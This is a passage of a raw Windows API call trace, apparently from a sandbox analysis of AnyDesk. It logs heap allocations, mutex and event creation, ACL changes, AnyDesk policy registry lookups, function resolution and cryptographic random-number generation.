(HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47b60 [0190.915] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37058 | out: hHeap=0x3b0000) returned 1 [0190.915] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37058 [0190.916] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37040 | out: hHeap=0x3b0000) returned 1 [0190.916] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0190.916] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2582993198056) returned 1 [0190.916] SwitchToFiber (lpFiber=0x5c4c98) [0190.916] GetTickCount () returned 0x188016e [0190.916] GetLastError () returned 0x0 [0190.916] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0190.918] GetCurrentThreadId () returned 0xa0c [0190.918] SetLastError (dwErrCode=0x0) [0190.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37040 [0190.919] GetLastError () returned 0x0 [0190.919] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3d2)) [0190.919] GetCurrentThreadId () returned 0xa0c [0190.919] GetCurrentProcessId () returned 0x994 [0190.919] GetLastError () returned 0x0 [0190.920] GetSecurityInfo () returned 0x0 [0190.920] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8950 [0190.921] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8950, cbSid=0x2a7b67c | out: pSid=0x5a8950*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b67c) returned 1 [0190.921] BuildTrusteeWithSidA () returned 0x2a7b674 [0190.921] SetEntriesInAclW () returned 0x0 [0190.921] LocalFree (hMem=0x5a8950) returned 0x0 [0190.921] SetSecurityInfo () returned 0x0 [0190.922] LocalFree (hMem=0x5bdeb8) returned 0x0 [0190.922] LocalFree (hMem=0x5c54a8) returned 0x0 [0190.922] MapViewOfFile (hFileMappingObject=0x1fc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6000) returned 0x370000 [0190.923] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.923] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ba0 | out: hHeap=0x3b0000) returned 1 [0190.923] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0190.923] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47b60 [0190.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faff0, cbMultiByte=-1, lpWideCharStr=0xe47b60, cchWideChar=4 | out: lpWideCharStr="mtx") returned 4 [0190.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47ba0 [0190.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0xe47ba0, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11488 [0190.924] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ba0 | out: hHeap=0x3b0000) returned 1 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11460 [0190.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47ba0 [0190.924] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.924] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0190.924] GetLastError () returned 0x7a [0190.925] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ad_707_gsystem_mtx") returned 0x200 [0190.925] GetLastError () returned 0x0 [0190.925] GetSecurityInfo () returned 0x0 [0190.925] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8950 [0190.925] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8950, cbSid=0x2a7b684 | out: pSid=0x5a8950*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b684) returned 1 [0190.925] BuildTrusteeWithSidA () returned 0x2a7b67c [0190.925] SetEntriesInAclW () returned 0x0 [0190.926] LocalFree (hMem=0x5a8950) returned 0x0 [0190.926] SetSecurityInfo () returned 0x0 [0190.926] LocalFree (hMem=0x5bdeb8) returned 0x0 [0190.926] LocalFree (hMem=0x5c54a8) returned 0x0 [0190.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ba0 | out: hHeap=0x3b0000) returned 1 [0190.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11460 | out: hHeap=0x3b0000) returned 1 [0190.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47b60 [0190.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7e0, cbMultiByte=-1, lpWideCharStr=0xe47b60, cchWideChar=4 | out: lpWideCharStr="evt") returned 4 [0190.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0190.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47ba0 [0190.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0xe47ba0, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0190.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11460 [0190.927] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ba0 | out: hHeap=0x3b0000) returned 1 [0190.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11488 [0190.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47ba0 [0190.927] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0190.927] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11460 | out: hHeap=0x3b0000) returned 1 [0190.927] GetLastError () returned 0x7a [0190.928] GetSecurityInfo () returned 0x0 [0190.928] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8950 [0190.928] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8950, cbSid=0x2a7b684 | out: pSid=0x5a8950*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b684) returned 1 [0190.928] BuildTrusteeWithSidA () returned 0x2a7b67c [0190.928] SetEntriesInAclW () returned 0x0 [0190.928] LocalFree (hMem=0x5a8950) returned 0x0 [0190.928] SetSecurityInfo () returned 0x0 [0190.929] LocalFree (hMem=0x5bdeb8) returned 0x0 [0190.929] LocalFree (hMem=0x5c54a8) returned 0x0 [0190.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ba0 | out: hHeap=0x3b0000) returned 1 [0190.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b80 | out: hHeap=0x3b0000) returned 1 [0190.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe47b80 [0190.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36360 [0190.929] GetLastError () returned 0x0 [0190.930] GetSystemTime (in: lpSystemTime=0x2a7b690 | out: lpSystemTime=0x2a7b690*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3e2)) [0190.930] GetCurrentThreadId () returned 0xa0c [0190.930] GetCurrentProcessId () returned 0x994 [0190.930] GetLastError () returned 0x0 [0190.930] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3e2)) [0190.930] GetCurrentThreadId () returned 0xa0c [0190.930] GetCurrentProcessId () returned 0x994 [0190.930] GetLastError () returned 0x0 [0190.930] GetProcessId (Process=0xffffffff) returned 0x994 [0190.930] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x2a7b748 | out: pSessionId=0x2a7b748) returned 1 [0190.930] ReleaseMutex (hMutex=0x200) returned 1 [0190.930] SetEvent (hEvent=0x204) returned 1 [0190.930] GetLastError () returned 0x0 [0190.930] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3e2)) [0190.931] GetCurrentThreadId () returned 0xa0c [0190.931] GetCurrentProcessId () returned 0x994 [0190.931] GetLastError () returned 0x0 [0190.931] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0190.931] GetProcAddress (hModule=0x752b0000, lpProcName="GetNativeSystemInfo") returned 0x752d106d [0190.931] GetProcAddress (hModule=0x752b0000, lpProcName="IsWow64Process") returned 0x752c193e [0190.931] GetProcAddress (hModule=0x752b0000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x753444e9 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="ProcessIdToSessionId") returned 0x752c1275 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="GetCurrentProcessId") returned 0x752c11f8 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcessId") returned 0x752ecef4 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="GetLogicalProcessorInformation") returned 0x75344d01 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="LoadLibraryW") returned 0x752c48e3 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcAddress") returned 0x752c1222 [0190.932] GetProcAddress (hModule=0x752b0000, lpProcName="FreeLibrary") returned 0x752c3478 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="InitializeSRWLock") returned 0x76f38456 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockExclusive") returned 0x76f329f1 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockShared") returned 0x76f32560 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockExclusive") returned 0x76f329ab [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockShared") returned 0x76f325a9 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockExclusive") returned 0x76f44892 [0190.933] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockShared") returned 0x76fa8162 [0190.934] GetProcAddress (hModule=0x752b0000, lpProcName="GetTickCount64") returned 0x752deeb0 [0190.934] GetProcAddress (hModule=0x752b0000, lpProcName="SetFileInformationByHandle") returned 0x752ecbec [0190.934] GetProcAddress (hModule=0x752b0000, lpProcName="GetModuleFileNameExW") returned 0x0 [0190.934] GetProcAddress (hModule=0x752b0000, lpProcName="K32GetModuleFileNameExW") returned 0x752eb21b [0190.934] GetLastError () returned 0x0 [0190.934] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3e2)) [0190.934] GetCurrentThreadId () returned 0xa0c [0190.934] GetCurrentProcessId () returned 0x994 [0190.934] GetLastError () returned 0x0 [0190.935] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.minsearchinterval", lpReserved=0x0, lpType=0x2a7b600, lpData=0x0, lpcbData=0x2a7b604*=0x0 | out: lpType=0x2a7b600*=0x0, lpData=0x0, lpcbData=0x2a7b604*=0x0) returned 0x6 [0190.935] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b62c | out: phkResult=0x2a7b62c*=0x0) returned 0x2 [0190.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe109d8 | out: hHeap=0x3b0000) returned 1 [0190.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c30 [0190.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47c40 [0190.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe47c40, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0190.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c40 | out: hHeap=0x3b0000) returned 1 [0190.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4f) returned 0xe12e68 [0190.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe109d8 [0190.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12e68 | out: hHeap=0x3b0000) returned 1 [0190.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c40 [0190.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36400 [0190.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2fa38 [0190.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c40 | out: hHeap=0x3b0000) returned 1 [0190.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c30 | out: hHeap=0x3b0000) returned 1 [0190.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10a20 [0190.937] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.minsearchinterval", lpReserved=0x0, lpType=0x2a7b600, lpData=0x0, lpcbData=0x2a7b604*=0x0 | out: lpType=0x2a7b600*=0x0, lpData=0x0, lpcbData=0x2a7b604*=0x0) returned 0x6 [0190.937] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b62c | out: phkResult=0x2a7b62c*=0x0) returned 0x2 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10a20 | out: hHeap=0x3b0000) returned 1 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c10 | out: hHeap=0x3b0000) returned 1 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37070 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c20 | out: hHeap=0x3b0000) returned 1 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37070 | out: hHeap=0x3b0000) returned 1 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c770, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11438 [0190.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c770, cbMultiByte=-1, lpWideCharStr=0xe11438, cchWideChar=15 | out: lpWideCharStr="ad.anynet.pkey") returned 15 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11460 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c20 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11488 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36420 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe114b0 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0190.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11438 [0190.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c780, cbMultiByte=-1, lpWideCharStr=0xe11438, cchWideChar=15 | out: lpWideCharStr="ad.anynet.cert") returned 15 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11488 [0190.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c10 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11578 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36440 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11500 [0190.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11578 | out: hHeap=0x3b0000) returned 1 [0190.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4640, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11438 [0190.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4640, cbMultiByte=-1, lpWideCharStr=0xe11438, cchWideChar=14 | out: lpWideCharStr="ad.anynet.fpr") returned 14 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11578 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c30 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11528 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36460 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe115c8 [0190.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11528 | out: hHeap=0x3b0000) returned 1 [0190.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37070 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37088 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x68) returned 0xe20e10 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe320f8 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe370a0 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47c40 [0190.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36480 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe364a0 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe370b8 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe370d0 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47c50 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe370e8 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37100 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe364c0 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe364e0 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37118 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37130 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37148 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47c60 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37160 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47c70 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37178 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x60) returned 0xe318b8 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe10a20 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37190 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36500 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe371a8 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe371c0 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe47c80 [0190.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c90 [0190.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe47c90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47ca0 [0190.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe47ca0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c90 | out: hHeap=0x3b0000) returned 1 [0190.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c90 [0190.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47ca0 | out: hHeap=0x3b0000) returned 1 [0190.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c20 | out: hHeap=0x3b0000) returned 1 [0190.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c20 [0190.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c90 | out: hHeap=0x3b0000) returned 1 [0190.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe36520 [0190.941] GetLastError () returned 0x0 [0190.941] GetSystemTime (in: lpSystemTime=0x2a7b4cc | out: lpSystemTime=0x2a7b4cc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x14, wMilliseconds=0x9)) [0190.941] GetCurrentThreadId () returned 0xa0c [0190.941] GetCurrentProcessId () returned 0x994 [0190.941] GetLastError () returned 0x0 [0190.942] CryptAcquireContextW (in: phProv=0x2a7b2c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2a7b2c4*=0x5c54a8) returned 1 [0190.973] CryptGenRandom (in: hProv=0x5c54a8, dwLen=0x200, pbBuffer=0x2a7b2d4 | out: pbBuffer=0x2a7b2d4) returned 1 [0190.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0190.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0190.973] CryptReleaseContext (hProv=0x5c54a8, dwFlags=0x0) returned 1 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36560 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47c90 [0190.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0f678 [0190.974] RtlAllocateHeap 